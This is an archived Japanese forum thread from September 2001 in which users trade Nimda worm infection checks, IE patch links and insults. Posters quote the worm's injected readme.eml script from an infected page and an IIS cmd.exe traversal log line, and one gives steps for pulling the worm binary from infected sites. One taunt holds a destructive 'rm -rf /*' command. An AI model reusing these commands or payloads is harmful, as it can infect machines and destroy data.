ねたすか？

>>473
IE5.5のSP2をダウンロードだけする方法
http://www.atmarkit.co.jp/fwin2k/win2ktips/075ie55donly/075ie55donly.html

>>456
アウトルックは検索に引っかからないんですか…
>>451
一応ざっと見てみたんですが、居てもたってもいられなくて。ごめんなさい。
>>460
ありがとうございます。早速検索してみたんですが、両方とも引っかかりませんでした。

マジレスありがとうございました。

>>470
http://www.microsoft.com/windows/ie_intl/ja/download/
からダウンロードできる。ただしダウンロードにはWindowsが必要だけど。

>>478
ＴＯＰページのソースの一番下に三つあったのは確認したｗ

おいら鉄壁というのを使っているんだが、スキャン途中で落っこちる。
買ったときから色々不満はあったが使えないにも程がある。
ノートンかバスターにしとくんだった。
とりあえずトレンドマイクロのオンラインチェックで感染なしを確認。
ｻﾝｸｽ！トレンドマイクロ、
ソースネクストのばかろう。

あのー、アタックかけられてるって、どうしてわかるんですか？
それは、WEBサーバーのこと？ PCのこと？

>>486
いまスキャン中なんだけど、なんかノートン先生フリーズしてる（藁

>>475
IEのダウンロードサイトからダウンロードすると、ie5setup.exeとかie6setup.exe
ってのが落ちてくるはずなので、それを実行したかどうかってこと。
実行しないとIEの最新版をインストールしたことにはならないぞ。

JavaScriptを切って、HTMLメールを受信しなければ、大丈夫？

　モナ板の過去ログ倉庫がみれない・・・（鬱

>>469
かかったかかった。
パッチと言えボケ。バグ修正版なんだからなにがサービスだ。カス。

＞どんなOSを使っているか知らないけど、せっかくなのでIEでない
俺はPlamo & Netscape or lynxですが何か？

しかしWin厨にウイルスチェックを薦められるとは。

＊＊＊感染チェック＊＊＊
１．9/19以降にパターンファイルを更新したNortonAntivirus2001でチェック
　　→readme.exe, readme.emlの感染チェック可能
２．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm
　　→readme.exeの感染チェック可能

参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]

>>489

多分落ちてきてないと思う。
教えてくれてありがとう。。。
もう一度逝ってきます。

>>490
　大体OKだけど、ファイルのDL拒否してもファイルができていたという
報告があるので、念のためにセキュリティの『ファイルのダウンロード』
の項目も不許可にした方が吉。

>>486
ソースネクストもそうだけど、McAfee（実際のメーカー）もそうだな。

>>487
ファイアーウォールのようなソフトウエアを入れていれば、不正なアタックが検出できる。

スレ一覧やった・・・
逝ってきます。。。

トレンドマイクロ落ちてます。

間違えて旧スレに書き込んじまった(;´Д｀)

再度質問
ttp://www.takara-univ.ac.jp/artist/tyoukoku/sakaguti/index.html
↑のindexの最終行に
<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>
って書いてあるんだけど、これがヤバイの？

>>496
＞ファイアーウォールのようなソフトウエア

ぷっ
ファイアーウオールはソフトウエアじゃねーぞ。ばーーーか。
さすがWin厨。
用語がなってないよ。

Service Pack 2　　　（・・？）

>>496
なるほど、やっと理解しました＜アタック
どうもありがとう。

>>492
ほほー、Linuxなんだ。俺はSuSEスレでさんざん書いてた奴だ。
今は倉庫落ちしたかな？

Linux板では "潜伏中" のハンドルで書いてるよん :-)

> パッチと言えボケ
Microsoftが「サービスパック」だと言ってるのでソレをそのまま利用しただけ。

>>492はｷﾃｨ

http://search.fresheye.com/?term=monthly&kw=readme.eml

ちゃんとSP2になって大丈夫かどうか。上で検索したサイトに飛んで
試してみてもいいですか？

>>499
　ずばりそれ(藁

>>500
え、WEBのファイアウォールのことじゃなくて、そういう別な
ソフトがあるんだと思ったんですけど、違います？
私は初心者なので、わからないけれど、なんで、あなたは
個人攻撃をここで続けてるんでしょう。うざいです。

>>503
馬鹿の相手すんな

spってパッチの詰め合わせ=サービスパックでいいんじゃ？ちがうの？
いっこいっこはパッチで。

readme.exe、MEP51B3.TMP.EXEはヒットしなかったけど
*.emlとmepは大量発見。アウト？

>>503
なんだ、おまえWin -> Linux 組か。だせっ。
単なるWin厨かと思ったのに
煽りがつまらなくなった。
bye

一人粘着房がいる模様

http://www.zdnet.co.jp/news/0109/19/e_nimda_m.html

ようやく出た

>>500 ごめんなさい。ぞねや黒氷をファイアーウォールだと思っていました。

>>992
犬厨はすっこんでろ
あんたみたいなののせいでUNIX使い全体のイメージが悪くなる

健気に自分のマシンを気にする一般ユーザを煽って何が得られるんだ？
仕事で上司に叱られて怒りにまかせた煽りしてるんだらコーヒーでも飲め

>>507
全然違うんですけど。。。
にわか専門家素人はあんまりしゃしゃり出ないほうがいいよ。

東スポに、アオリ記事がデカデカと…。

Internet Explorer 6 をダウンロードしちゃえば問題無いよ

　http://www.microsoft.com/windows/ie_intl/ja/

OutlookExpressで質問です。
ウイルス添付がされているメールが来た場合
添付ファイルを実行させないようにするには
どーすればいいんですか？

参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
Trendmicro社 http://www.trendmicro.co.jp/virusinfo/troj_nimda.htm

テレ朝で放送中！

>>500
> ファイアーウオールはソフトウエアじゃねーぞ

妙なところを指摘するなぁ :-)

ファイアーウォールは単にセキュリティ上都合の悪いモノをブロックするため
（それがネットワークレイヤのパケット偽装なのか、それともアプリケーションレイヤの変なhtml(javascript)かは知らないが）
の防御壁（防火壁）なんであって、ソフトウエアである場合もあるし、ハードウエアである場合もある。

>>512
ありゃあ、今回の件で再インストール以外の処置が解らなかったＷｉｎユーザーだよ。
可哀想だから放置して置いてあげなさい。

東スポは一面大見出し

>>515
どこのコピペだよ。？未来にレスしてるぞ。

ラディンが犯人ってか？？？

http://www.watch.impress.co.jp/internet/www/article/2001/0919/nimda.htm

インプレスも出た

>>495
ありがとう。

このウイルス感染を言い訳に、納期を遅らせていいですか？

>>J6gqWM9Q
ちょっと痛々しい。

>>522
間違いは指摘するから。厨房への影響がよくない。

IE6.0を導入したらデスクトップ「e」のアイコンの色が
薄くなってしまいましたが、問題ありますか？

W32ＮＩＭＤＡ→ＡＤＭＩＮ23Ｗ→ＡＤＭＩＮ ｔｏ 3W
だそうな

ここまでスレが成長するとは・・・
今更ながら前スレの>>1はエライ

夕刊キャッチアップやってるｱﾅが
今回のウイルスの記事で
war をワーと読んでたよ。

とりあえずお祈りします。

前スレのID:8oVJNRd2 = ID:JlX0ElGE だけど、、
やっとみんなことの重大さに気づいてくれたのだね。。（涙

前スレはみんなに気づいてもらえなかったからなぁ…。
マァヴさん、ありがと。

ルーター厨はファイアーウォールソフトやＩＤＳは必要ないと考えているふしがある（w

W32NIMDAを、ADMIN to 3W
と読めるという話なんだけど、
W32NIMDAのW32の部分は、ワクチン会社だよな…。

>>516
「にわか専門家素人」？？ヘンな言葉ですねー。
だから、私は初心者だって言ってるでしょ。ぷんぷん。
質問して、丁寧に答えてくれてるnanasisan に感謝してます！

いまIE5.0なんだけどIE6.0やIE5.5SP2にバージョンアップしたら
顔文字ってうまく表示できなくなるんですよね？

ラディンの部下のパソヲタが勝手にワームを配布。
何も知らずにネットアクセスしたラディンのＰＣが世界中から丸見えに。
「My Picture」に炉画像が満杯というオチが好き

>>539
禿洞

＞５２４
＞東スポは一面大見出し

ホントに？

>>523
ばーーーか
>>492を読め。カス。Win厨。

じゃあもう一度本当の前スレ貼っとくか！(w

MSNにウィルス添付？
http://news.2ch.net/test/read.cgi?bbs=news&key=1000822776

symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
Trendmicro社 http://www.trendmicro.co.jp/virusinfo/troj_nimda.htm
日本ネットワークアソシエイツ社 http://www.nai.com/japan/virusinfo/virN.asp?v=W32/Nimda@MM
MS社 http://help.msn.co.jp/notice.htm

東スポは飛ばしてるなあ･･･

>>511
Win -> Linuxじゃなくて、
OSの無い時代 -> 一時的にMS-DOS -> 386BSD -> FreeBSD -> Linux0.1 -> Windowsにも進出
なんだけどね。まーいいや。

>>514
いちおうそれで認識は合っているよ。

>>544
可哀想に…

態度の大きさは、経験に反比例する。

粘着なんて無視しようよ。

>>545
あ、ありがとう！ 玉三郎のスレしか読めなかったんで（藁
やっと、前スレがわかった、、、

>>544
馬鹿はお前だ、荒し厨房。

>>548
おやじか。35歳？

今日初めて２チャン来たら
なんじゃこりゃーーーー！！！
怖くてどこのサイトもみれねーよ
回線切ろう

>548
ｽｹﾞｰ

http://www.msn.co.jp
現在は？？

>>525
いや、オリジナルなんだがちょっと番号を間違ったよ

>>515で>>992と書いてるのは>>492の間違いな

もはや信じれるのは2chだけ

◆このスレッドをご覧の皆様へお知らせとお願い◆
----------------------------------------------
先程から当スレッドでチンパンジーの>511 ID：J6gqWM9Q
が暴れておりますが、観賞用ですので
決してレスしないでご鑑賞ください。
----------------------------------------------
よろしくお願いします。

>>370
会社のＰＣがたくさんやられた。
みんながみんなＭＳＮとかを回って感染したとは考えられん。
シマンテックの解説でも
「ワームはオープンなネットワーク共有を探し、自分自身をコピーします。」
と書いてあるけどＬＡＮで繋がってるだけでヤヴァイって事？
今のところは、ワークグループを超えてはこない感じなんだけど。

俺もだんだん、544が可哀想に思えてきた・・・・（ｗ

ID:J6gqWM9Qに神様のご加護がありますように

うわぁ。FBIも特別捜査班結成してるのかぁ…。
じゃ前スレでも上がってたこの部分に「あぁ？」って思ってるんだろうなぁ…。

SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces Concept Virus(CV) V.5, Copyright(C)2001 R.P.China MIME-Version: 1.0

>>555
２ちゃんはいいノカー！？

>>557
jsオンにしないと表示できない。
マジでユーザをなめてる。

>>528
それは言い訳にならないと思う・・・

>>549
なんかある意味同情を誘うような・・

>>559
２ｃｈ原理主義者（藁

>>544
unixやlynxの知識が少し位あるからって偉くないんだよ
おこちゃまは、おとなしくしててね

横着してIE5.00SP2のままだったから関係なかったYO−(^^)/

＞５６１
やっぱ会社は被害受けてるんだね
大変だ、ますます酷くなりそう・・

hotmail使ってるんだけどMSNのtopページからじゃなくて
hotmailのログインページに行くのもダメなの？
教えてチャンでごめん。

IE入れない企業が多いのも頷ける

Vine使ってる初心者です。Konquerorでも伝染りますか?

あーーー面白い煽りだった。
昼終わったから仕事に戻ろうっと。

せいぜいくるしんでろよーーー>ALL Win＆IE厨
rm -rf /*

>>549
次スレのタイトルは「みんなJ6gqWM9Qと語ろう！」
がイイと思う

>>561
Cドライブが共有設定されるからそこから被害拡大と思われ。

>576
ｻﾑｲ･･･ｺｺﾞｴｿｳ

# 昼休みも終わりなんでこのレスで厨房の相手は終了。

>>554
俺はそれより10歳以上若いぞ。
コンピュータなるものを使い始めたのは3歳の頃なんで。

｢J6gqWM9Qはｳﾞｧｶだけど｣が始まるかと期待して見ていたのだが。

>『Nimdaは電子メールソフトOutlookのセキュリティ設定が「中」の場合，自動的に実行されるので，かなり感染力が強いようだ。』

↑を「高」に設定する手順を教えてください。

>>576
あれ、もう帰るの？

また遊びに来てね〜

よくわからないけどアップデートできたみたい。汗
IE5.5servise pack2とインターネットツールっていうのをダウンロードしてきた。。。
今度は３分位かかったし。

>>580
ｶｺｲｲ!

>>576
たのむからこのスレにいてくれ、おまえは2chの宝だ。

オイラのはIE6のPublicpreviewから>>116の言うとおりDLして
>>313と同じ状況。＞一見問題ないように見えるが、
「オフラインブラウズパック」がDL・インストールともに不能。＞詩嚢

>>580
nanasisan、、、、すてき（マジ
どうもいろいろ教えてくれてありがとう。

>>584
会社から2KとかNTだったりしないよね？

レス早くなってますね。
やっと追いつけた。
でも、ウィルスも活動が早いみたい。

J6gqWM9Qは・・・何か哀しいことでもあったのか？
そんなに自慢げにrmコマンド使われてもなぁ・・・

＊＊＊感染チェック＊＊＊
１．NortonAntivirus2001でチェック(9/19以降にパターンファイル更新必要）
２．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm

以下は、感染していないPCの場合・・・・。感染している人はご愁傷様。
＊＊＊クライアント側の対処＊＊＊
ブラウザ 対処方法
１．IE5.0 IE5.01SP2以上へのアップデート
２．IE5.01,IE5.5 SP2の導入またはIE6.0の導入
１．または２．の作業は http://windowsupdate.microsoft.com/?IE で行う。

＊＊＊サーバ側の対処＊＊＊
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

＊＊＊共通＊＊＊
３．ウィルスチェックソフトのパターンファイル更新

＊＊＊最低限の常識＊＊＊
１．見知らぬファイルのダウンロードや実行は行わない

参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
Trendmicro社 http://www.trendmicro.co.jp/virusinfo/troj_nimda.htm
日本ネットワークアソシエイツ社 http://www.nai.com/japan/virusinfo/virN.asp?v=W32/Nimda@MM
MS社 http://help.msn.co.jp/notice.htm
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

>>576

そんな事言っても、戻ってくるんでしょう。（ｗ

readme.exeってどこのへん探せばいい？

バージョンアップしたら
Д
が太く表示されるんだけど、どーして？

コピペ

78 名前：量産型ラディン 投稿日：01/09/19 13:08 ID:39GVbFRk
東スポ曰く、
このウイルスはラディンが仕掛けた物でコンピュータを狂わせて核ミサイルを発射させる事も可能。
このウイルスは第３次世界大戦の幕開けだ。
ラディン達は世界中のコンピュータを自由に操る事が出来ると言うのか。

…らしいです。
ま、いっかぁ東スポだし。

ふーん

みんなで2ﾁｬﾝﾈﾙを助けよう!
みんな2ﾁｬﾝﾈﾙが危機だという事をしってるか?
みんなで2ﾁｬﾝﾈﾙを助けよう!
まず第一に,2ﾁｬﾝﾈﾙにある広告は全部１日に必ずワンクリックしよう!
次にひろゆきを助けるホーム―ページにＧＯ!
http://members.tripod.co.jp/boss9/

９８、９５の人はセーフなんですか？

防御対策済みの人はもし感染されたＨＰ見つけたら、メールで知らせて
やってほしいm(__)m。漏れも１件知らせてＷＥＢ止めさせた。

1人１殺Nimda虫！

他の板では全然話題になってないけどどうなのよ？

Internet Explorer 6 をダウンロードしちゃえば問題無いよ

　http://www.microsoft.com/windows/ie_intl/ja/

>>594
ここだhttp://www.unsystem.org/

>>587
亀レス。現在Cドライブ検索中、も該当ファイルなし！

>>598
OSとは関係なく、IEのバージョンで調べると良い。

>>575
爆笑王を思い出させるような負け惜しみぶりだな

% kill -9 `ps -ef | grep J6gqWM9Q | awk '{print $2}'`
といったところか
ブラウザ立ち上げ直してID変えたら固定ハンドルでみんなを楽しませてくれよな

8/15から中国にふぁっくされてる前スレ500はネットワーク遮断したのかな？

>>596
東スポの凄さが分かった（ｗ

あぶねーあぶねー、２ちゃん見てなかったら爆死していたところだった。
ソフトによるウイルスチェックはしていないけど、emlなどのファイルを
検索しても見つからなかったので感染していないのかな？

Internet Explorer６にすると何かいいことあるの？

俺は元々IE6なんだけど、さっき試しにノートンかけてみたらW32.Nimda.A@mm検出したよ
IEのテンポラリーファイルにreedme[1].emlってのがあった
どういうことよ？

>>572
MSNのページは既に対策済み、むしろ他のサイトに要注意
ページロード完了と同時にreadme.exeがダウンロード指定
されたらヤバイぞ。

>>599
この前みたいな「ブラクラ」とか「迷惑メール」サイトに片っ端から
埋め込んであるのならわかるが・・・
＞こういうのもブラクラチェッカでわかると最高だと思います。

＞589
＞会社から2KとかNTだったりしないよね？
ん？２Kってなんだろう？2000年モデルのことかな？
私は自宅からです、、、。

マイクロソフトのＨＰが感染してるって事は無いんでしょうか？

>>610
感染してるってことよ

また誤爆した。スマソ
>>605の>>575は>>565だよ

>>610
キャッシュに反応しただけでしょ。たぶん。

>>610
IE6でも「ダウンロードしますか？」に「はい」と答えると感染してしまうので注意。

>>613
Windows 2000ってこと。

>>615
じゃぁ、IE6でもダメってことか？
別スレではIE5.5SP2でも同じ奴がいたぞ・・・

アタックが止まらない。なんじゃこりゃ…。
co.jpとか来てるし。そんな会社、二度と信用するものか。

＞618
あ、なるほど。
私は確かWIN　MEだった。。。

>>611
レスありがとう。
昨日の夜PM11時頃に行ったからちょっと心配だったので。
ちなみに私はIE5.5のSP1です・・・。

誤爆しまくり…ふざけてやってるようだが本気だ
今度はあえて訂正しないでおこう
へへ、おりこうさんだねъ( ﾟｰ^)

>>494
http://www.stride.co.jp/~z32/cgi-bin/worm.cgi

に掲載されているサイトにアクセスして
/readme.eml
をダウンロード
ソースから慎重にMIMEデコードして、readme.exeを取りだす。
(redme.emlを不用意に読むと、readme.exeを実行されてしまうおそれ有り。)

http://isweb27.infoseek.co.jp/play/danzou21/index.html
つーかここで抗議運動やってるぞ
署名してくれ

>>609
アドレスのhttp://の左側にあるマーク（紙の上にeの文字）
の色が水色っぽく変わる（らしい)

>>605
もどってきたよ。人気出ちゃったな。
たまにはマジレス
>>605は {print $1}
の間違いだろ？え？

>>610,>>619
テンポラリーにreadme〜.emlがあるだけなら、キャッシュに入っている
だけだから、感染しているわけではない。
正確な確認は>>592を見れ

今日はラディン・テロどころじゃないな。

なんなんだ・・急にco.jpとかac.jpとか・・ヤバいねこりゃ・・

>>618
Meの人は例外なくIEをバージョンアップしましょう。

>697
かえってくんな（ｗ

まっすぐ2chに来て良かったー。IE5.5　SP1なんだもんよー。
週末にIE6ver.upするつもりだったけど、今すぐやるよ。

＞アドレスのhttp://の左側にあるマークの色が水色っぽく変わった
InternetExproler6の特徴だよ。

Internet Explorer 6 をダウンロードしちゃえば問題無いよ
http://www.microsoft.com/windows/ie_intl/ja/

なんかMSN見てたら腹立ってきた。
全然アナウンスが見つからないよ…。
誰かが貼ってたアナウンスってどこから見りゃいいんだ？

>>606
見れなくなったサイトは、
そこだけじゃないみたい。
↓お祭りサイト集
http://search.fresheye.com/?kw=readme.eml&term=monthly

あれ？増殖３３件のまま、とまってる？

>>631
3歳で88がいじれるのかよ？？？うそつけ！

そんな事より、きいてくれる？
昨晩、インターネット見てたんです。インターネット。
そしたらなんかウイルスがめちゃくちゃいっぱいで立ち上がらないんです。
で、よく見たらなんか窓が出てて、『一般保護違反です』とか書いてあるんです。
もうね、アホかと。馬鹿かと。
お前らな、一般保護違反如きで普段見てないインターネットに来てんじゃねーよ、ボケが。
一般保護違反だよ、一般保護違反。
なんかウイルス感染サイトとかもあるし。一家４台とも感染か。おめでてーな。
よーしパパ修理頼んじゃうぞー、とか言ってるの。もう見てらんない。
お前らな、メリッサやるからその台空けろと。
インターネットってのはな、もっと殺伐としてるべきなんだよ。
回線の向かいに座った奴といつ喧嘩が始まってもおかしくない、
感染させるか感染させられるか、そんな雰囲気がいいんじゃねーか。女子供は、すっこんでろ。
で、やっと駆除できたかと思ったら、隣の奴が、CODE−RED、とか言ってるんです。
そこでまたぶち切れですよ。 あのな、CODE−REDなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、CODE−RED、だ。
お前は本当にCODE−REDに感染したいのかと問いたい。問い詰めたい。小１時間問い詰めたい。
お前、CODE−REDって言いたいだけちゃうんかと。
ウイルスの俺から言わせてもらえば今、ウイルス通の間での最新流行はやっぱり、
Nimda 、これだね。
W32.Nimda.A@mm大盛りねぎだくギョク。これが通の感染の仕方。
W32ってのは自動メール送信ワームが多めに入ってる。そん代わり件名が少なめ。これ。
で、それにリモートアクセス（遠隔操作）。これ有効。
しかしこれに感染させると、次からエシュロンにマークされるという危険も伴う、諸刃の剣。
素人にはお薦め出来ない。
まあ、i-MACでも使ってなさいってこった。

>>627
やっぱり、戻ってきたのね・・・・素敵！（ｗ

そんな事より１よ、ちょいと聞いてくれよ。スレとあんま関係ないけどさ。
このあいだ、近所のWindowsUpdateに行ったんです。WindowsUpdate。
そしたらなんか人がめちゃくちゃいっぱいで入れないんです。
で、よく見たらなんかIE5.5SP2とかDLしてるんです。IE5.5SP2。
もうね、アホかと。馬鹿かと。
お前らな、IE5.5SP2ごときで普段来てないWindowsUpdateに来てんじゃねーよ、ボケが。
IE5.5SP2だよ、IE5.5SP2。
なんか親子連れとかもいるし。一家4人でWindowsUpdateか。おめでてーな。
よーしパパが大丈夫かＭＳＮに繋いでみちゃうぞー、とか言ってるの。もう見てらんない。
お前らな、Nimda送ってやるから黙って感染してろと。
WindowsUpdateってのはな、もっと殺伐としてるべきなんだよ。
当てたパッチにバグがあって、いつブルー画面や再起動しなくなってもおかしくない、
刺すか刺されるか、そんな雰囲気がいいんじゃねーか。女子供は、すっこんでろ。
で、やっと入れたかと思ったら、隣の奴が、セキュリティ問題の修正プログラムじゃねー？、とか言ってるんです。
そこでまたぶち切れですよ。
あのな、セキュリティ問題の修正プログラムなんてきょうび流行んねーんだよ。ボケが。
得意げな顔して何が、セキュリティ問題の修正プログラムじゃねー？、だ。
お前は本当にセキュリティ問題の修正プログラムと思っているのかと問いたい。問い詰めたい。小１時間問い詰めたい。
お前、バカなだけちゃうんかと。
通の俺から言わせてもらえば今、WindowsUpdate通の間での最新流行はやっぱり、重要な更新の通知、これだね。
重要な更新の通知。これが通のやり方。
重要な更新の通知ってのはリソース消費が多めに入ってる。そん代わり役立ち度は少なめ。これ。
で、こいつの自動受信でまたバグパッチ。これ最強。
しかもこれをやると次から複数同一シリアルのユーザーはACCSにマークされるという危険も伴う、諸刃の剣。
素人にはお薦め出来ない。
まあお前、１は、Happy99の花火でも見てなさいってこった。

>>629
これもラディンの仕業らしいですよ（ｗ

>>612

ブラクラテストサイトを通せば分かるよ

>>625
ウィルス仕込んであるぞ。
ここをアクセスしてはイカン！！

>>626
ｻﾝｸｽ。なるほど、それはいいですね（ｗ

＞631
そかー。良かった、、、無事にダウンロードできたみたいで、、、。
ウィルスにやられても私の力じゃ到底復旧出来ないし。汗

事前にこういう情報つかんでるのってスゴイですね。

https://www.netsecurity.ne.jp/article/9/2839.html

結局やばかった時間はいつ頃なんだろう？
昨日のPM7-8時頃MSN行ったけど大丈夫っぽい。

638のほうが面白ぇ・・・。
打つ堕し脳・・・

…アップデートできねえ…

# 昼休みは終了しました。ここからは本来の返事しか書きません。

>>635
http://help.msn.co.jp/notice.htmのこと？

>>627
新スレたてたら？

「J6gqWM9Qが教えてやる」とか、なんでもいいから
そっちで遊ぼうよ

>>627
漏れが使ってるSunOSのpsで-fオプションを付けた場合は$2でいいんだが。

頼むから固定ハンにしてくれよ。
みんなそれを望んでるぞ。

>>638 >>640
ヴァカ決定。

>>582が分かる方いませんか？

http://isweb27.infoseek.co.jp/play/danzou21/index.html

w2kなんですが、
さっき雑誌買ってきてＩＥを入れなおしました。
バージョンにやっぱりＳＰ２ってついてないんですが。
ネットで落とさなくちゃ駄目なんでしょうか？

何て親切なんだ。さっそくUPDATEしたよ。

>>646
EVERYDAY PEOPLEの管理者さんに感謝しましょう。
俺もだけど(w

やっとcoderedのXXXXがろぐからすくなくなったのにこんどは
"GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0"
こんなんばっかだよ。
最初にきたのが[18/Sep/2001:22:23:37 +0900]
だからそれからあっという間に感染したのかな・・・。


またネットが重くなるな。

>>651
いい加減仕事に戻らなくちゃ。やばい。
納期が差し迫ってるのに２ｃｈが。。煽りが。。おもろい。
でもさよなら。

http://news.2ch.net/test/read.cgi?bbs=news&key=1000867662
スーパー初心者のためのＭＳＮウイルスすれ。

>>654
「ツール」→「オプション」→「セキュリティ」→「ゾーンの設定」

>>656
win2kならwin2kのsp2いれれ

>>654

ツール⇒インターネットオプション⇒セキュリティ⇒レベルのカスタマイズ⇒カスタム設定のリセットの順で行けばいい。

>>662さん　ありがとう

>>655はなに？

俺IE6.0（テスト版）だけど、テスト版でも大丈夫なんかいな？

バージョン５．００．３３１４．４２１０１．
なんだけど
更新バージョンがＳＰ２になってるから安全ですか？

>>666
ウィルスの仕込んであるページ

ワクチンまだ？

漏れ・・・ディスク検索終了＞異常なし
ちなみにIE6は6.00.2600.0000　＋Winme

>>660
そーか、仕事中だったのか。頑張ってくれな。
仕事が終わったら "nanasisanってどうよ？" とか "J6gqWM9Qだけど、何かある？"
とかスレを立ててくれ。一回くらいは書いておくから(w

>>667
IE6正式版が出たので、そちらにバージョンアップすると良いでしょう。
テスト版については未確認（細かいバージョンによって違うこともある）なので、
念のためウイルスチェックをしておくと良いでしょう。

>>668
大丈夫だけど、もう一つの初心者スレでやってよ。

＊＊＊感染チェック＊＊＊
１．NortonAntivirus2001でチェック(9/19以降にパターンファイル更新必要）
２．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm

以下は、感染していないPCの場合・・・・。感染している人はご愁傷様。
＊＊＊クライアント側の対処＊＊＊
ブラウザ 対処方法
１．IE5.0 IE5.01SP2以上へのアップデート
２．IE5.01,IE5.5 SP2の導入またはIE6.0の導入
１．または２．の作業は http://windowsupdate.microsoft.com/?IE で行う。

＊＊＊サーバ側の対処＊＊＊
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

＊＊＊共通＊＊＊
３．ウィルスチェックソフトのパターンファイル更新

＊＊＊最低限の常識＊＊＊
１．見知らぬファイルのダウンロードや実行は行わない

参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
Trendmicro社 http://www.trendmicro.co.jp/virusinfo/troj_nimda.htm
日本ネットワークアソシエイツ社 http://www.nai.com/japan/virusinfo/virN.asp?v=W32/Nimda@MM
MS社 http://help.msn.co.jp/notice.htm

すまん間違えた、5.00は知らん。

>>670
NortonとVirus BusterとMcAfeeはいずれも対応したみたい。
McAfeeについてはココ。
http://www.mcafee.com/anti-virus/viruses/nimda/default.asp?cid=2444

>>672
あ、お前、3歳はいくらなんでもうそだろ。
3歳でどーやって88覚えるんだよ？
日本語もままならないのに。
ぶっちゃけ何歳？

そろそろ戻ってくるかな？(-。- )

>>622
昨日の11時過ぎだと、まだMSNではNimda配布中か、対策直後か。
とにかくreadme.exeをブラウザから落とした記憶・実行した記憶
があるのであれば、感染可能性大です。

IE5.5SP1云々の話はメールでの感染経路の際に問題になるので、
早急にSP2にバージョンアップが必要です。たとえSP2にしても
ブラウザで感染サーバのWEBページ閲覧時にはダウンロード指定が
かかってしまいますけどね。その段階でとりあえずメール→OUTLOOK
経由での無意識感染は防げると。

我地に平和を与えんために来たと思うなかれ。
我汝等に告ぐ、然らず、むしろ争いなり。
今から後一家に５人あらば３人は２人に、
２人は３人に分かれて争わん。
父は子に、子は父に、母は娘に、娘は母に

>673
ｻﾝｸｽｺ。てゆか書いてあったよ感染チェックなとこに。

13:30 ★都留信組が感染　コンピューターウイルス

で、どういう症状が出るの？

>>679
間違えた。ダウンロード指定がかかるのはreadme.emlね。

>>682

それは昨日から分かってたよ。

関係無いがマリナーズが勝った。。。

>>677
マジ話で3歳なんだけどな・・匿名である以上信じて貰えないかもしれないけど。
もちろん漢字とか英語の難しいものとかは読めないので父親の支援はしてもらってたけど。
その後に父親が英語とPCに対して恐怖症（胃潰瘍っぽい）になってしまって入院したけど。

以後Windows98が出てくるまで、父はPCを触ることが出来なかった。

>>679
丁寧にありがとう。
感染したファイルが無いか調べたけど、一応無いみたいだった。
けどこれを機会にバージョンアップします。

>>682 カワイソー やられたのは、ISPのwww.mfi.or.jp本体なのに、
店子の信組が報道されるとは…。

世も末だ…。

トレンドマイクロ株価＋１７％

これってcode red用のパッチをあててると大丈夫なのかな？

>>687
わざわざどうもありがとう。

まあいいや、信じるよ。
じゃ、また会う日まで。

UNIX板にたまにいるのでばいばい。

これってゲイツの陰謀？？

>>691
サーバ側はこれからの攻撃に備えておく意味で、Code Red対応を含めて
致命傷となりうる全てのパッチを適用しておいた方がよい。

ただ、パッチでしかないので万が一サービスが起動しなくなってしまうとか
いう可能性も否定できないので注意。

旅行代理店や病院、共同通信（東京）など複数の報道機関のサーバーが感染した疑い
山梨学院大（甲府市）のウェブサイトや早稲田大（新宿区）理工学部の一部研究室
マイクロソフト社のインターネット接続サービス「ＭＳＮ」のサーバーも１８日午後
１１時ごろ、感染被害を受けた。
ほかにも１０−２０件のサイトが被害に遭っているという。

>>692
やっと解って貰えたようで良かった。

誰かまとめてくれ

ＳＰ２のインストールが途中で止まったりして上手く行かない人へ

１．最小構成インストール、又はブラウザのカスタマイズ（Ｃ）
を選ぶ。

２．次の画面の右下のボタン「詳細設定」を押して、「ダウンロードのみ」
を選ぶ。

３．ダウンロードが終わったら、すぐにインストールせずに、
ＰＣをセーフモードで再起動

４．セーフモードで起動した状態でインストール

これでインストールできます。

>>697
>>309

■感染チェック
１．『*.eml』『readme.exe』『MEP51B3.TMP.EXE』の検索でHIT
２．9/19以降にパターンファイルを更新したNortonAntivirus2001でチェック
　　→readme.exe, readme.emlの感染チェック可能
３．トレンドマイクロのオンラインスキャン実行
http://www.trendmicro.co.jp/hcall/scan.htm
　　→readme.exeの感染チェック可能
■クライアント側の対処
・ブラウザ 対処方法
IE5.0、5.01、5.02、5.5ユーザ：Windows98/Me/2000用IE5.5SP2へのアップデート
http://www.microsoft.com/downloads/release.asp?releaseid=32082
IE5.0、5.01ユーザ：Windows98/2000用IE5.01SP2へのアップデート
http://www.microsoft.com/downloads/release.asp?ReleaseID=28910
IE6.0の導入
http://www.microsoft.com/windows/ie_intl/ja/download/default.htm
上記以外の人は、アップデート作業を http://windowsupdate.microsoft.com/?IE で行う。
もしくは雑誌等付録のCD-ROMでも可能（かと思われ）
■サーバ側の対処
１． MS社のセキュリティパッチ導入
http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078
２．ウィルスチェックソフトのパターンファイル更新
■最低限の常識
・見知らぬファイルのダウンロードや実行は行わない
■参考情報
symantec社 http://www.symantec.com/region/jp/sarcj/data/w/[email protected]
MSN http://help.msn.co.jp/notice.htm
Microsoft社 http://www.microsoft.com/japan/technet/security/prekb.asp?sec_cd=MS00-078

http://keisui.com/GIGAZINE/cgi-bin/news/html/lg/000322.htm
>>インターネット・エクスプローラ ver 5.01以上をお使いの皆様は、
> >こちらのパッチをインストールして、
> >「不適切なMIME ヘッダーが原因で Internet Explorer が電子メールの添付ファイルを実行する 」
> >という脆弱点を修正することをお勧めします。
>
> こちらのパッチ
